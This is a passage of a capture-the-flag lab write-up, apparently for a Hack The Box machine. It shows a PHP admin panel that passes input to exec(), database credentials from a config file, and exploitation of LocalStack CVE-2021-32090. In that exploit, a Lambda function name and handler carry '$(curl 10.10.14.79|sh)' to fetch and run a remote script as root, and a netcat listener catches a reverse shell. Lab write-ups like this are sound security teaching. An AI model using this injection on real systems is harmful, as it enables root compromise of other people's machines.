if(strpos($command, "fileb") !== false){
$pattern = '/fileb:\/\/([^ ]+)/i';
$matches = [];
preg_match_all($pattern, $command, $matches);
if(file_exists("/var/www/html/maximus-admin-panel/uploads/" . $matches[1][0])){
$command = str_replace("fileb://","fileb:///var/www/html/maximus-admin-panel/uploads/",$command);
exec($command." 2>&1", $output);
}
else{
$msg = $matches[1][0]." doesn't exist";
}
}
else{
exec($command." 2>&1", $output);
}
}
else{
$err = "Feature is disabled till satellite launch";
}
}
else{
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
$FileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
if($FileType != "zip"){
$msg = "Sorry only zip files are accepted";
}
else{
if(move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)){
$msg = "Payload function code uploaded";
}
}
}
}
?>
The database config file shows local MySQL credentials.
maximus_supervisor@emit:/var/www/html/maximus-admin-panel$ cat db.php
<?php
$servername = "localhost";
$username = "dbuser";
$password = "dbpass";
$db = "sms";
// Create connection
$conn = new mysqli($servername, $username, $password, $db);
?>
Identity
The local AWS endpoint resolves to the LocalStack moto user, confirming we are talking to LocalStack rather than real AWS.
maximus_supervisor@emit:/var/www/html/maximus-admin-panel$ aws --endpoint http://localhost:4566 sts get-caller-identity
{
"UserId": "AKIAIOSFODNN7EXAMPLE",
"Account": "000000000000",
"Arn": "arn:aws:sts::000000000000:user/moto"
}
AWS Lambda LocalStack CVE-2021-32090 RCE
LocalStack is vulnerable to CVE-2021-32090, a command injection in the Lambda handler/function-name fields. When LocalStack processes a created Lambda, it passes attacker-controlled fields into a shell command running as root, giving root code execution.
References:
- https://0xdf.gitlab.io/2022/03/19/htb-stacked.html
- https://www.cvedetails.com/cve/CVE-2021-32090/
- https://www.sonarsource.com/blog/hack-the-stack-with-localstack/
Create Example Lambda Function
First we build a minimal valid Lambda deployment package to confirm the create/invoke flow works.
cd /tmp
bash -c 'cat << "EOF" > example.js
exports.handler = async function(event, context) {
console.log("EVENT: \n" + JSON.stringify(event, null, 2))
return context.logStreamName
}
EOF'
zip example.zip example.js
aws lambda create-function --function-name example --zip-file fileb://example.zip --role arn:aws:iam::123456789012:role/lambda-role --endpoint http://localhost:4566 --handler example.handler --runtime nodejs12.x
aws lambda invoke --function-name example --endpoint-url http://localhost:4566 out.json
Pspy
Monitoring processes with pspy reveals LocalStack running CLI commands as UID=0 and embedding the function name directly into the command line — exactly the sink CVE-2021-32090 abuses.
2023/07/17 16:48:51 CMD: UID=0 PID=49784 | /opt/code/localstack/.venv/bin/python /opt/code/localstack/.venv/bin/aws --endpoint-url=http://localhost:4566 lambda list-event-source-mappings --function-name example
RCE Lambda Function
We create a function whose name and handler contain a command-substitution payload ($(curl 10.10.14.79|sh)). When LocalStack processes the function as root, the injected command runs.
aws lambda create-function --function-name 'rce$(curl 10.10.14.79|sh)' --zip-file fileb://example.zip --role arn:aws:iam::123456789012:role/lambda-role --endpoint-url http://localhost:4566 --handler '$(curl 10.10.14.79|sh)' --runtime nodejs12.x
{
"FunctionName": "rce$(curl 10.10.14.79|sh)",
"FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:rce$(curl 10.10.14.79|sh)",
"Runtime": "nodejs12.x",
"Role": "arn:aws:iam::123456789012:role/lambda-role",
"Handler": "$(curl 10.10.14.79|sh)",
"CodeSize": 295,
"Description": "",
"Timeout": 3,
"LastModified": "2023-07-17T16:47:08.430+0000",
"CodeSha256": "Kgo1bpwoy8e0gJDdNF50pEELqD00ItnsKYonXf45tM8=",
"Version": "$LATEST",
"VpcConfig": {},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "804e01a6-f18c-402c-a8ce-973f7dc35eec",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip"
}
Invoking the function triggers LocalStack’s root-level processing of the malicious name/handler, firing the payload.
aws lambda invoke --function-name 'rce' --endpoint-url http://localhost:4566 out.json
Flag
The listener catches a root shell from LocalStack’s container, and the root flag is read from /root.
LISTEN 4444
IP: 10.10.14.79 (168431183
Ncat: Version 7.94 ( [https://nmap.org/ncat](https://nmap.org/ncat) )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.229.92:41486.
bash: cannot set terminal process group (-1): Not a tty
bash: no job control in this shell
bash-5.0# cat /root/flag*
cat /root/flag*
HTB{cl0ud_ch41ns_3m1t_p0w3r}
bash-5.0# cd /root
cd /root
bash-5.0# ls -la
ls -la
total 36
drwxr-xr-x 1 root root 4096 Jul 17 13:52 .
drwxr-xr-x 1 root root 4096 Jul 17 13:52 ..
drwx------ 4 root root 4096 Jul 4 09:46 .gnupg
drwxr-xr-x 3 root root 4096 Jul 4 09:46 .local
drwxr-xr-x 2 root root 4096 Jul 4 09:46 .npm
drwxrwxrwx 2 root root 4096 Jul 4 09:46 .serverless
-rw-r--r-- 1 root root 282 Feb 1 2021 .serverlessrc
drwxr-xr-x 2 root root 4096 Jul 4 09:46 .terraform.d
-rw-r--r-- 1 root root 29 Jul 4 06:35 flag.txt
bash-5.0# cat flag.txt
HTB{cl0ud_ch41ns_3m1t_p0w3r}